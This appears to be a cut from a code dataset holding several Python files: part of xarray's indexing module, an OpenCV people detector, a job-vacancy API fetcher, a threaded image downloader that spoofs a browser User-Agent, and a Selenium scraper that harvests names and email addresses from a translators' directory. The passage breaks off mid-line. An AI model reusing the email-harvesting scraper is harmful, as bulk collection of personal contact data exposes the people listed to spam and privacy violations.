(type(self).__name__, self.array, self.key))\n\n\nclass LazilyVectorizedIndexedArray(ExplicitlyIndexedNDArrayMixin):\n \"\"\"Wrap an array to make vectorized indexing lazy.\n \"\"\"\n\n def __init__(self, array, key):\n \"\"\"\n Parameters\n ----------\n array : array_like\n Array like object to index.\n key : VectorizedIndexer\n \"\"\"\n if isinstance(key, (BasicIndexer, OuterIndexer)):\n self.key = _outer_to_vectorized_indexer(key, array.shape)\n else:\n self.key = _arrayize_vectorized_indexer(key, array.shape)\n self.array = as_indexable(array)\n\n @property\n def shape(self):\n return np.broadcast(*self.key.tuple).shape\n\n def __array__(self, dtype=None):\n return np.asarray(self.array[self.key], dtype=None)\n\n def _updated_key(self, new_key):\n return _combine_indexers(self.key, self.shape, new_key)\n\n def __getitem__(self, indexer):\n # If the indexed array becomes a scalar, return LazilyOuterIndexedArray\n if all(isinstance(ind, integer_types) for ind in indexer.tuple):\n key = BasicIndexer(tuple(k[indexer.tuple] for k in self.key.tuple))\n return LazilyOuterIndexedArray(self.array, key)\n return type(self)(self.array, self._updated_key(indexer))\n\n def transpose(self, order):\n key = VectorizedIndexer(tuple(\n k.transpose(order) for k in self.key.tuple))\n return type(self)(self.array, key)\n\n def __setitem__(self, key, value):\n raise NotImplementedError(\n 'Lazy item assignment with the vectorized indexer is not yet '\n 'implemented. Load your data first by .load() or compute().')\n\n def __repr__(self):\n return ('%s(array=%r, key=%r)' %\n (type(self).__name__, self.array, self.key))\n\n\ndef _wrap_numpy_scalars(array):\n \"\"\"Wrap NumPy scalars in 0d arrays.\"\"\"\n if np.isscalar(array):\n return np.array(array)\n else:\n return array\n\n\nclass CopyOnWriteArray(ExplicitlyIndexedNDArrayMixin):\n def __init__(self, array):\n self.array = as_indexable(array)\n self._copied = False\n\n def _ensure_copied(self):\n if not self._copied:\n self.array = as_indexable(np.array(self.array))\n self._copied = True\n\n def __array__(self, dtype=None):\n return np.asarray(self.array, dtype=dtype)\n\n def __getitem__(self, key):\n return type(self)(_wrap_numpy_scalars(self.array[key]))\n\n def transpose(self, order):\n return self.array.transpose(order)\n\n def __setitem__(self, key, value):\n self._ensure_copied()\n self.array[key] = value\n\n\nclass MemoryCachedArray(ExplicitlyIndexedNDArrayMixin):\n def __init__(self, array):\n self.array = _wrap_numpy_scalars(as_indexable(array))\n\n def _ensure_cached(self):\n if not isinstance(self.array, NumpyIndexingAdapter):\n self.array = NumpyIndexingAdapter(np.asarray(self.array))\n\n def __array__(self, dtype=None):\n self._ensure_cached()\n return np.asarray(self.array, dtype=dtype)\n\n def __getitem__(self, key):\n return type(self)(_wrap_numpy_scalars(self.array[key]))\n\n def transpose(self, order):\n return self.array.transpose(order)\n\n def __setitem__(self, key, value):\n self.array[key] = value\n\n\ndef as_indexable(array):\n \"\"\"\n This function always returns a ExplicitlyIndexed subclass,\n so that the vectorized indexing is always possible with the returned\n object.\n \"\"\"\n if isinstance(array, ExplicitlyIndexed):\n return array\n if isinstance(array, np.ndarray):\n return NumpyIndexingAdapter(array)\n if isinstance(array, pd.Index):\n return PandasIndexAdapter(array)\n if isinstance(array, dask_array_type):\n return DaskIndexingAdapter(array)\n raise TypeError('Invalid array type: {}'.format(type(array)))\n\n\ndef _outer_to_vectorized_indexer(key, shape):\n \"\"\"Convert an OuterIndexer into an vectorized indexer.\n\n Parameters\n ----------\n key : Outer/Basic Indexer\n An indexer to convert.\n shape : tuple\n Shape of the array subject to the indexing.\n\n Returns\n -------\n VectorizedIndexer\n Tuple suitable for use to index a NumPy array with vectorized indexing.\n Each element is an array: broadcasting them together gives the shape\n of the result.\n \"\"\"\n key = key.tuple\n\n n_dim = len([k for k in key if not isinstance(k, integer_types)])\n i_dim = 0\n new_key = []\n for k, size in zip(key, shape):\n if isinstance(k, integer_types):\n new_key.append(np.array(k).reshape((1,) * n_dim))\n else: # np.ndarray or slice\n if isinstance(k, slice):\n k = np.arange(*k.indices(size))\n assert k.dtype.kind in {'i', 'u'}\n shape = [(1,) * i_dim + (k.size, ) +\n (1,) * (n_dim - i_dim - 1)]\n new_key.append(k.reshape(*shape))\n i_dim += 1\n return VectorizedIndexer(tuple(new_key))\n\n\ndef _outer_to_numpy_indexer(key, shape):\n \"\"\"Convert an OuterIndexer into an indexer for NumPy.\n\n Parameters\n ----------\n key : Basic/OuterIndexer\n An indexer to convert.\n shape : tuple\n Shape of the array subject to the indexing.\n\n Returns\n -------\n tuple\n Tuple suitable for use to index a NumPy array.\n \"\"\"\n if len([k for k in key.tuple if not isinstance(k, slice)]) <= 1:\n # If there is only one vector and all others are slice,\n # it can be safely used in mixed basic/advanced indexing.\n # Boolean index should already be converted to integer array.\n return key.tuple\n else:\n return _outer_to_vectorized_indexer(key, shape).tuple\n\n\ndef _combine_indexers(old_key, shape, new_key):\n \"\"\" Combine two indexers.\n\n Parameters\n ----------\n old_key: ExplicitIndexer\n The first indexer for the original array\n shape: tuple of ints\n Shape of the original array to be indexed by old_key\n new_key:\n The second indexer for indexing original[old_key]\n \"\"\"\n if not isinstance(old_key, VectorizedIndexer):\n old_key = _outer_to_vectorized_indexer(old_key, shape)\n if len(old_key.tuple) == 0:\n return new_key\n\n new_shape = np.broadcast(*old_key.tuple).shape\n if isinstance(new_key, VectorizedIndexer):\n new_key = _arrayize_vectorized_indexer(new_key, new_shape)\n else:\n new_key = _outer_to_vectorized_indexer(new_key, new_shape)\n\n return VectorizedIndexer(tuple(o[new_key.tuple] for o in\n np.broadcast_arrays(*old_key.tuple)))\n\n\nclass IndexingSupport(object): # could inherit from enum.Enum on Python 3\n # for backends that support only basic indexer\n BASIC = 'BASIC'\n # for backends that support basic / outer indexer\n OUTER = 'OUTER'\n # for backends that support outer indexer including at most 1 vector.\n OUTER_1VECTOR = 'OUTER_1VECTOR'\n # for backends that support full vectorized indexer.\n VECTORIZED = 'VECTORIZED'\n\n\ndef explicit_indexing_adapter(\n key, shape, indexing_support, raw_indexing_method):\n \"\"\"Support explicit indexing by delegating to a raw indexing method.\n\n Outer and/or vectorized indexers are supported by indexing a second time\n with a NumPy array.\n\n Parameters\n ----------\n key : ExplicitIndexer\n Explicit indexing object.\n shape : Tuple[int, ...]\n Shape of the indexed array.\n indexing_support : IndexingSupport enum\n Form of indexing supported by raw_indexing_method.\n raw_indexing_method: callable\n Function (like ndarray.__getitem__) that when called with indexing key\n in the form of a tuple returns an indexed array.\n\n Returns\n -------\n Indexing result, in the form of a duck numpy-array.\n \"\"\"\n raw_key, numpy_indices = decompose_indexer(key, shape, indexing_support)\n result = raw_indexing_method(raw_key.tuple)\n if numpy_indices.tuple:\n # index the loaded np.ndarray\n result = NumpyIndexingAdapter(np.asarray(result))[numpy_indices]\n return result\n\n\ndef decompose_indexer(indexer, shape, indexing_support):\n if isinstance(indexer, VectorizedIndexer):\n return _decompose_vectorized_indexer(indexer, shape, indexing_support)\n if isinstance(indexer, (BasicIndexer, OuterIndexer)):\n return _decompose_outer_indexer(indexer, shape, indexing_support)\n raise TypeError('unexpected key type: {}'.format(indexer))\n\n\ndef _decompose_slice(key, size):\n \"\"\" convert a slice to successive two slices. The first slice always has\n a positive step.\n \"\"\"\n start, stop, step = key.indices(size)\n if step > 0:\n # If key already has a positive step, use it as is in the backend\n return key, slice(None)\n else:\n # determine stop precisely for step > 1 case\n # e.g. [98:2:-2] -> [98:3:-2]\n stop = start + int((stop - start - 1) / step) * step + 1\n start, stop = stop + 1, start + 1\n return slice(start, stop, -step), slice(None, None, -1)\n\n\ndef _decompose_vectorized_indexer(indexer, shape, indexing_support):\n \"\"\"\n Decompose vectorized indexer to the successive two indexers, where the\n first indexer will be used to index backend arrays, while the second one\n is used to index loaded on-memory np.ndarray.\n\n Parameters\n ----------\n indexer: VectorizedIndexer\n indexing_support: one of IndexerSupport entries\n\n Returns\n -------\n backend_indexer: OuterIndexer or BasicIndexer\n np_indexers: an ExplicitIndexer (VectorizedIndexer / BasicIndexer)\n\n Notes\n -----\n This function is used to realize the vectorized indexing for the backend\n arrays that only support basic or outer indexing.\n\n As an example, let us consider to index a few elements from a backend array\n with a vectorized indexer ([0, 3, 1], [2, 3, 2]).\n Even if the backend array only supports outer indexing, it is more\n efficient to load a subslice of the array than loading the entire array,\n\n >>> backend_indexer = OuterIndexer([0, 1, 3], [2, 3])\n >>> array = array[backend_indexer] # load subslice of the array\n >>> np_indexer = VectorizedIndexer([0, 2, 1], [0, 1, 0])\n >>> array[np_indexer] # vectorized indexing for on-memory np.ndarray.\n \"\"\"\n assert isinstance(indexer, VectorizedIndexer)\n\n if indexing_support is IndexingSupport.VECTORIZED:\n return indexer, BasicIndexer(())\n\n backend_indexer = []\n np_indexer = []\n # convert negative indices\n indexer = [np.where(k < 0, k + s, k) if isinstance(k, np.ndarray) else k\n for k, s in zip(indexer.tuple, shape)]\n\n for k, s in zip(indexer, shape):\n if isinstance(k, slice):\n # If it is a slice, then we will slice it as-is\n # (but make its step positive) in the backend,\n # and then use all of it (slice(None)) for the in-memory portion.\n bk_slice, np_slice = _decompose_slice(k, s)\n backend_indexer.append(bk_slice)\n np_indexer.append(np_slice)\n else:\n # If it is a (multidimensional) np.ndarray, just pickup the used\n # keys without duplication and store them as a 1d-np.ndarray.\n oind, vind = np.unique(k, return_inverse=True)\n backend_indexer.append(oind)\n np_indexer.append(vind.reshape(*k.shape))\n\n backend_indexer = OuterIndexer(tuple(backend_indexer))\n np_indexer = VectorizedIndexer(tuple(np_indexer))\n\n if indexing_support is IndexingSupport.OUTER:\n return backend_indexer, np_indexer\n\n # If the backend does not support outer indexing,\n # backend_indexer (OuterIndexer) is also decomposed.\n backend_indexer, np_indexer1 = _decompose_outer_indexer(\n backend_indexer, shape, indexing_support)\n np_indexer = _combine_indexers(np_indexer1, shape, np_indexer)\n return backend_indexer, np_indexer\n\n\ndef _decompose_outer_indexer(indexer, shape, indexing_support):\n \"\"\"\n Decompose outer indexer to the successive two indexers, where the\n first indexer will be used to index backend arrays, while the second one\n is used to index the loaded on-memory np.ndarray.\n\n Parameters\n ----------\n indexer: VectorizedIndexer\n indexing_support: One of the entries of IndexingSupport\n\n Returns\n -------\n backend_indexer: OuterIndexer or BasicIndexer\n np_indexers: an ExplicitIndexer (OuterIndexer / BasicIndexer)\n\n Notes\n -----\n This function is used to realize the vectorized indexing for the backend\n arrays that only support basic or outer indexing.\n\n As an example, let us consider to index a few elements from a backend array\n with a orthogonal indexer ([0, 3, 1], [2, 3, 2]).\n Even if the backend array only supports basic indexing, it is more\n efficient to load a subslice of the array than loading the entire array,\n\n >>> backend_indexer = BasicIndexer(slice(0, 3), slice(2, 3))\n >>> array = array[backend_indexer] # load subslice of the array\n >>> np_indexer = OuterIndexer([0, 2, 1], [0, 1, 0])\n >>> array[np_indexer] # outer indexing for on-memory np.ndarray.\n \"\"\"\n if indexing_support == IndexingSupport.VECTORIZED:\n return indexer, BasicIndexer(())\n assert isinstance(indexer, (OuterIndexer, BasicIndexer))\n\n backend_indexer = []\n np_indexer = []\n # make indexer positive\n pos_indexer = []\n for k, s in zip(indexer.tuple, shape):\n if isinstance(k, np.ndarray):\n pos_indexer.append(np.where(k < 0, k + s, k))\n elif isinstance(k, integer_types) and k < 0:\n pos_indexer.append(k + s)\n else:\n pos_indexer.append(k)\n indexer = pos_indexer\n\n if indexing_support is IndexingSupport.OUTER_1VECTOR:\n # some backends such as h5py supports only 1 vector in indexers\n # We choose the most efficient axis\n gains = [(np.max(k) - np.min(k) + 1.0) / len(np.unique(k))\n if isinstance(k, np.ndarray) else 0 for k in indexer]\n array_index = np.argmax(np.array(gains)) if len(gains) > 0 else None\n\n for i, (k, s) in enumerate(zip(indexer, shape)):\n if isinstance(k, np.ndarray) and i != array_index:\n # np.ndarray key is converted to slice that covers the entire\n # entries of this key.\n backend_indexer.append(slice(np.min(k), np.max(k) + 1))\n np_indexer.append(k - np.min(k))\n elif isinstance(k, np.ndarray):\n # Remove duplicates and sort them in the increasing order\n pkey, ekey = np.unique(k, return_inverse=True)\n backend_indexer.append(pkey)\n np_indexer.append(ekey)\n elif isinstance(k, integer_types):\n backend_indexer.append(k)\n else: # slice: convert positive step slice for backend\n bk_slice, np_slice = _decompose_slice(k, s)\n backend_indexer.append(bk_slice)\n np_indexer.append(np_slice)\n\n return (OuterIndexer(tuple(backend_indexer)),\n OuterIndexer(tuple(np_indexer)))\n\n if indexing_support == IndexingSupport.OUTER:\n for k, s in zip(indexer, shape):\n if isinstance(k, slice):\n # slice: convert positive step slice for backend\n bk_slice, np_slice = _decompose_slice(k, s)\n backend_indexer.append(bk_slice)\n np_indexer.append(np_slice)\n elif isinstance(k, integer_types):\n backend_indexer.append(k)\n elif isinstance(k, np.ndarray) and (np.diff(k) >= 0).all():\n backend_indexer.append(k)\n np_indexer.append(slice(None))\n else:\n # Remove duplicates and sort them in the increasing order\n oind, vind = np.unique(k, return_inverse=True)\n backend_indexer.append(oind)\n np_indexer.append(vind.reshape(*k.shape))\n\n return (OuterIndexer(tuple(backend_indexer)),\n OuterIndexer(tuple(np_indexer)))\n\n # basic indexer\n assert indexing_support == IndexingSupport.BASIC\n\n for k, s in zip(indexer, shape):\n if isinstance(k, np.ndarray):\n # np.ndarray key is converted to slice that covers the entire\n # entries of this key.\n backend_indexer.append(slice(np.min(k), np.max(k) + 1))\n np_indexer.append(k - np.min(k))\n elif isinstance(k, integer_types):\n backend_indexer.append(k)\n else: # slice: convert positive step slice for backend\n bk_slice, np_slice = _decompose_slice(k, s)\n backend_indexer.append(bk_slice)\n np_indexer.append(np_slice)\n\n return (BasicIndexer(tuple(backend_indexer)),\n OuterIndexer(tuple(np_indexer)))\n\n\ndef _arrayize_vectorized_indexer(indexer, shape):\n \"\"\" Return an identical vindex but slices are replaced by arrays \"\"\"\n slices = [v for v in indexer.tuple if isinstance(v, slice)]\n if len(slices) == 0:\n return indexer\n\n arrays = [v for v in indexer.tuple if isinstance(v, np.ndarray)]\n n_dim = arrays[0].ndim if len(arrays) > 0 else 0\n i_dim = 0\n new_key = []\n for v, size in zip(indexer.tuple, shape):\n if isinstance(v, np.ndarray):\n new_key.append(np.reshape(v, v.shape + (1, ) * len(slices)))\n else: # slice\n shape = ((1,) * (n_dim + i_dim) + (-1,) +\n (1,) * (len(slices) - i_dim - 1))\n new_key.append(np.arange(*v.indices(size)).reshape(shape))\n i_dim += 1\n return VectorizedIndexer(tuple(new_key))\n\n\ndef _dask_array_with_chunks_hint(array, chunks):\n \"\"\"Create a dask array using the chunks hint for dimensions of size > 1.\"\"\"\n import dask.array as da\n if len(chunks) < array.ndim:\n raise ValueError('not enough chunks in hint')\n new_chunks = []\n for chunk, size in zip(chunks, array.shape):\n new_chunks.append(chunk if size > 1 else (1,))\n return da.from_array(array, new_chunks)\n\n\ndef _logical_any(args):\n return functools.reduce(operator.or_, args)\n\n\ndef _masked_result_drop_slice(key, chunks_hint=None):\n key = (k for k in key if not isinstance(k, slice))\n if chunks_hint is not None:\n key = [_dask_array_with_chunks_hint(k, chunks_hint)\n if isinstance(k, np.ndarray) else k\n for k in key]\n return _logical_any(k == -1 for k in key)\n\n\ndef create_mask(indexer, shape, chunks_hint=None):\n \"\"\"Create a mask for indexing with a fill-value.\n\n Parameters\n ----------\n indexer : ExplicitIndexer\n Indexer with -1 in integer or ndarray value to indicate locations in\n the result that should be masked.\n shape : tuple\n Shape of the array being indexed.\n chunks_hint : tuple, optional\n Optional tuple indicating desired chunks for the result. If provided,\n used as a hint for chunks on the resulting dask. Must have a hint for\n each dimension on the result array.\n\n Returns\n -------\n mask : bool, np.ndarray or dask.array.Array with dtype=bool\n Dask array if chunks_hint is provided, otherwise a NumPy array. Has the\n same shape as the indexing result.\n \"\"\"\n if isinstance(indexer, OuterIndexer):\n key = _outer_to_vectorized_indexer(indexer, shape).tuple\n assert not any(isinstance(k, slice) for k in key)\n mask = _masked_result_drop_slice(key, chunks_hint)\n\n elif isinstance(indexer, VectorizedIndexer):\n key = indexer.tuple\n base_mask = _masked_result_drop_slice(key, chunks_hint)\n slice_shape = tuple(np.arange(*k.indices(size)).size\n for k, size in zip(key, shape)\n if isinstance(k, slice))\n expanded_mask = base_mask[\n (Ellipsis,) + (np.newaxis,) * len(slice_shape)]\n mask = duck_array_ops.broadcast_to(\n expanded_mask, base_mask.shape + slice_shape)\n\n elif isinstance(indexer, BasicIndexer):\n mask = any(k == -1 for k in indexer.tuple)\n\n else:\n raise TypeError('unexpected key type: {}'.format(type(indexer)))\n\n return mask\n\n\ndef _posify_mask_subindexer(index):\n \"\"\"Convert masked indices in a flat array to the nearest unmasked index.\n\n Parameters\n ----------\n index : np.ndarray\n One dimensional ndarray with dtype=int.\n\n Returns\n -------\n np.ndarray\n One dimensional ndarray with all values equal to -1 replaced by an\n adjacent non-masked element.\n \"\"\"\n masked = index == -1\n unmasked_locs = np.flatnonzero(~masked)\n if not unmasked_locs.size:\n # indexing unmasked_locs is invalid\n return np.zeros_like(index)\n masked_locs = np.flatnonzero(masked)\n prev_value = np.maximum(0, np.searchsorted(unmasked_locs, masked_locs) - 1)\n new_index = index.copy()\n new_index[masked_locs] = index[unmasked_locs[prev_value]]\n return new_index\n\n\ndef posify_mask_indexer(indexer):\n \"\"\"Convert masked values (-1) in an indexer to nearest unmasked values.\n\n This routine is useful for dask, where it can be much faster to index\n adjacent points than arbitrary points from the end of an array.\n\n Parameters\n ----------\n indexer : ExplicitIndexer\n Input indexer.\n\n Returns\n -------\n ExplicitIndexer\n Same type of input, with all values in ndarray keys equal to -1\n replaced by an adjacent non-masked element.\n \"\"\"\n key = tuple(_posify_mask_subindexer(k.ravel()).reshape(k.shape)\n if isinstance(k, np.ndarray) else k\n for k in indexer.tuple)\n return type(indexer)(key)\n\n\nclass NumpyIndexingAdapter(ExplicitlyIndexedNDArrayMixin):\n \"\"\"Wrap a NumPy array to use explicit indexing.\"\"\"\n\n def __init__(self, array):\n # In NumpyIndexingAdapter we only allow to store bare np.ndarray\n if not isinstance(array, np.ndarray):\n raise TypeError('NumpyIndexingAdapter only wraps np.ndarray. '\n 'Trying to wrap {}'.format(type(array)))\n self.array = array\n\n def _indexing_array_and_key(self, key):\n if isinstance(key, OuterIndexer):\n array = self.array\n key = _outer_to_numpy_indexer(key, self.array.shape)\n elif isinstance(key, VectorizedIndexer):\n array = nputils.NumpyVIndexAdapter(self.array)\n key = key.tuple\n elif isinstance(key, BasicIndexer):\n array = self.array\n # We want 0d slices rather than scalars. This is achieved by\n # appending an ellipsis (see\n # https://docs.scipy.org/doc/numpy/reference/arrays.indexing.html#detailed-notes). # noqa\n key = key.tuple + (Ellipsis,)\n else:\n raise TypeError('unexpected key type: {}'.format(type(key)))\n\n return array, key\n\n def transpose(self, order):\n return self.array.transpose(order)\n\n def __getitem__(self, key):\n array, key = self._indexing_array_and_key(key)\n return array[key]\n\n def __setitem__(self, key, value):\n array, key = self._indexing_array_and_key(key)\n array[key] = value\n\n\nclass DaskIndexingAdapter(ExplicitlyIndexedNDArrayMixin):\n \"\"\"Wrap a dask array to support explicit indexing.\"\"\"\n\n def __init__(self, array):\n \"\"\" This adapter is created in Variable.__getitem__ in\n Variable._broadcast_indexes.\n \"\"\"\n self.array = array\n\n def __getitem__(self, key):\n if isinstance(key, BasicIndexer):\n return self.array[key.tuple]\n elif isinstance(key, VectorizedIndexer):\n return self.array.vindex[key.tuple]\n else:\n assert isinstance(key, OuterIndexer)\n key = key.tuple\n try:\n return self.array[key]\n except NotImplementedError:\n # manual orthogonal indexing.\n # TODO: port this upstream into dask in a saner way.\n value = self.array\n for axis, subkey in reversed(list(enumerate(key))):\n value = value[(slice(None),) * axis + (subkey,)]\n return value\n\n def __setitem__(self, key, value):\n raise TypeError(\"this variable's data is stored in a dask array, \"\n 'which does not support item assignment. To '\n 'assign to this variable, you must first load it '\n 'into memory explicitly using the .load() '\n 'method or accessing its .values attribute.')\n\n def transpose(self, order):\n return self.array.transpose(order)\n\n\nclass PandasIndexAdapter(ExplicitlyIndexedNDArrayMixin):\n \"\"\"Wrap a pandas.Index to preserve dtypes and handle explicit indexing.\"\"\"\n\n def __init__(self, array, dtype=None):\n self.array = utils.safe_cast_to_index(array)\n if dtype is None:\n if isinstance(array, pd.PeriodIndex):\n dtype = np.dtype('O')\n elif hasattr(array, 'categories'):\n # category isn't a real numpy dtype\n dtype = array.categories.dtype\n elif not utils.is_valid_numpy_dtype(array.dtype):\n dtype = np.dtype('O')\n else:\n dtype = array.dtype\n self._dtype = dtype\n\n @property\n def dtype(self):\n return self._dtype\n\n def __array__(self, dtype=None):\n if dtype is None:\n dtype = self.dtype\n array = self.array\n if isinstance(array, pd.PeriodIndex):\n with suppress(AttributeError):\n # this might not be public API\n array = array.astype('object')\n return np.asarray(array.values, dtype=dtype)\n\n @property\n def shape(self):\n # .shape is broken on pandas prior to v0.15.2\n return (len(self.array),)\n\n def __getitem__(self, indexer):\n key = indexer.tuple\n if isinstance(key, tuple) and len(key) == 1:\n # unpack key so it can index a pandas.Index object (pandas.Index\n # objects don't like tuples)\n key, = key\n\n if getattr(key, 'ndim', 0) > 1: # Return np-array if multidimensional\n return NumpyIndexingAdapter(self.array.values)[indexer]\n\n result = self.array[key]\n\n if isinstance(result, pd.Index):\n result = PandasIndexAdapter(result, dtype=self.dtype)\n else:\n # result is a scalar\n if result is pd.NaT:\n # work around the impossibility of casting NaT with asarray\n # note: it probably would be better in general to return\n # pd.Timestamp rather np.than datetime64 but this is easier\n # (for now)\n result = np.datetime64('NaT', 'ns')\n elif isinstance(result, timedelta):\n result = np.timedelta64(getattr(result, 'value', result), 'ns')\n elif isinstance(result, pd.Timestamp):\n # Work around for GH: pydata/xarray#1932 and numpy/numpy#10668\n # numpy fails to convert pd.Timestamp to np.datetime64[ns]\n result = np.asarray(result.to_datetime64())\n elif self.dtype != object:\n result = np.asarray(result, dtype=self.dtype)\n\n # as for numpy.ndarray indexing, we always want the result to be\n # a NumPy array.\n result = utils.to_0d_array(result)\n\n return result\n\n def transpose(self, order):\n return self.array # self.array should be always one-dimensional\n\n def __repr__(self):\n return ('%s(array=%r, dtype=%r)'\n % (type(self).__name__, self.array, self.dtype))\n","repo_name":"timothyyu/ml_monorepo","sub_path":"xarray/xarray/core/indexing.py","file_name":"indexing.py","file_ext":"py","file_size_in_byte":47548,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"} +{"seq_id":"33887116775","text":"# Детектор людей на изображениях\n# CLI: python script.py Image_path\n\n# pip install opencv-python\n\n\nimport argparse\nimport cv2\n\nHOGCV = cv2.HOGDescriptor()\nHOGCV.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n\n\ndef detect(image):\n bb_box, weights = HOGCV.detectMultiScale(\n image,\n winStride=(4, 4),\n padding=(8, 8),\n scale=1.03\n )\n person = 1\n for x, y, w, h in bb_box:\n cv2.rectangle(\n image,\n (x, y),\n (x + w, y + h),\n (0, 255, 0),\n 2\n )\n cv2.putText(\n image,\n f'Detecting {person}: {weights[person - 1]}',\n (x, y),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.5,\n (0, 0, 255),\n 1\n )\n person += 1\n # print(bb_box)\n # print(weights)\n return image, len(bb_box)\n\n\ndef main(args):\n image_path = args.image\n output_path = args.output\n img = cv2.imread(image_path)\n\n print(type(img))\n result_image, person_count = detect(img)\n cv2.imwrite(output_path, result_image)\n print(person_count)\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('image', type=str, help='Image File path')\n parser.add_argument('--output', type=str, help='Output image path, (optional)')\n args = parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n args = get_args()\n print(args)\n main(args)\n","repo_name":"arthurka-company/intro_python_18_01","sub_path":"lesson_16.py","file_name":"lesson_16.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6497399495","text":"import requests\nfrom itertools import count\nimport time\n\nPROGRAMMING_LANGUAGES = [\n 'Python',\n 'Java',\n 'JavaScript',\n '1c',\n 'PHP',\n 'C++',\n 'C#',\n '!C'\n]\n\n\ndef fetch_vacancies_hh(language):\n url = 'https://api.hh.ru/vacancies'\n vacancies = []\n moscow_id_hh = 1\n programmer_profession_id_hh = 96\n number_of_items_page = 100\n publication_date_limit = 30\n for page in count(0):\n last_page = 19\n payload = {\n 'professional_role': programmer_profession_id_hh,\n 'per_page': number_of_items_page,\n 'page': page,\n 'area': moscow_id_hh,\n 'period': publication_date_limit,\n 'text': language\n }\n try:\n page_response = requests.get(url, params=payload)\n page_response.raise_for_status()\n page_payload = page_response.json()\n vacancies.append(page_payload)\n if page >= page_payload['pages'] or page >= last_page:\n break\n except requests.exceptions.HTTPError:\n\n print('Введите капчу')\n print(page_response.json()['errors'][0]['captcha_url'] + '&backurl')\n time.sleep(int(input('Скачивание продолжится через: ')))\n return vacancies\n\n\ndef fetch_vacancies_sj(language, api_key):\n url = '\thttps://api.superjob.ru/2.0/vacancies/'\n headers = {\n 'X-Api-App-Id': api_key\n }\n vacancies = []\n moscow_id_sj = 4\n programmer_profession_id_sj = 48\n number_of_items_page = 100\n for page in count(0):\n payload = {\n 'town': moscow_id_sj,\n 'catalogues': programmer_profession_id_sj,\n 'keyword': language,\n 'page': page,\n 'count': number_of_items_page\n }\n\n page_response = requests.get(url, params=payload, headers=headers)\n page_response.raise_for_status()\n page_payload = page_response.json()\n vacancies.append(page_payload)\n if not page_payload['more']:\n break\n return vacancies\n","repo_name":"RomanRVV/Programming-vacancies-compare","sub_path":"fetch_vacancies.py","file_name":"fetch_vacancies.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13026763775","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated by zhaoyi on 17-6-11.\n\"\"\"\nimport os\nimport urllib.request\nimport threading\nimport re\n\nreg = r'img src=\\'(.+?\\.(jpg|gif))\\''#正则表达式 要搞清楚懒惰模式\nimgre = re.compile(reg)\n\nclass downloader(threading.Thread):\n def __init__(self, url, name):\n threading.Thread.__init__(self)\n self.url=url\n self.name=name\n def run(self):\n print ('downloading from %s' % self.url)\n opener=urllib.request.build_opener() #要用这种方式打开url 并伪装浏览器header\n opener.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1')]\n urllib.request.install_opener(opener)\n urllib.request.urlretrieve(self.url,'/home/zhaoyi/图片/temp/'+self.name)#下载并保存到固定位置并命名\n\n\nthreads = [] #多线程 要用= []初始化\n\ndef main(url):\n opener = urllib.request.build_opener()\n opener.addheaders = [('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1')]\n html = opener.open(url).read()\n text= html.decode('utf-8', 'ignore')#要将html转码从byte到string 并忽略掉不能识别的字符\n groups=re.findall(reg, text)\n x = 0\n for g in groups:\n nameUrl=g[0].split('/')#将图片网址分割\n name = nameUrl[g[0].count('/')]#查询分割次数,并取值\n path=g[0]\n\n t=downloader(path, name)\n threads.append(t)\n t.start()\n\nif __name__ == '__main__':\n main(\"http://cl.friu.pw/htm_data/7/1705/2419539.html\")\n for t in threads:\n t.join()","repo_name":"zoeyyang123/PythonStudy","sub_path":"pythontutorial/ThreadsSpider.py","file_name":"ThreadsSpider.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25249542913","text":"from time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport pandas as pd\n\n\n#Get into the page!!!!!!!!!!\n\ndriver = webdriver.Chrome(executable_path=\"E:\\\\Datos\\\\Escritorio\\\\Proyectos\\\\Proyectos2021\\\\ChromeDriver\\\\chromedriver.exe\")\ndriver.get(\"https://www.cbti-bkvt.org/en/directory\")\nsleep(1)\n\n\n#Scrolling down untill the end!!!!!!!!!\n\nfor i in range(50):\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n sleep(1)\n\n#Creating an array with all the profiles!!!!!!!!\n\ncontainer = driver.find_element_by_id(\"main-and-sidebar\").find_element_by_css_selector(\"div.container\")\ncontainer = container.find_element_by_css_selector(\"div.row\").find_element_by_css_selector(\"div.col-md-9\").find_element_by_css_selector(\"div.translators\")\nlinks=[]\n\nfor item in container.find_elements_by_css_selector(\"div.infinite\"):\n for link in item.find_elements_by_css_selector(\"div.team-member-wrap\"):\n url = link.find_element_by_tag_name(\"a\").get_attribute(\"href\")\n links.append(url)\n print(url)\n\nprint(len(links))\n\n\n\n#Extracting info from each link !!!!!!!!!!!!!\n\n\n\n\nlista = []\n\nfor link in links:\n diccionario = {\n \"nombre\": \"-\",\n \"mail\": \"-\"\n }\n driver.get(link)\n sleep(1.15)\n name = driver.find_element_by_css_selector(\"div.col-sm-6\").text.split(\"\\n\")[0]\n email = driver.find_element_by_id(\"collapse-1\").find_element_by_tag_name(\"a\").get_attribute(\"href\")\n email = email.split(\":\")[1]\n print(name)\n print(email)\n diccionario[\"nombre\"] = name\n diccionario[\"mail\"] = email\n print(diccionario)\n lista.append(diccionario)\n\nprint(lista)\n\ndataFrame = 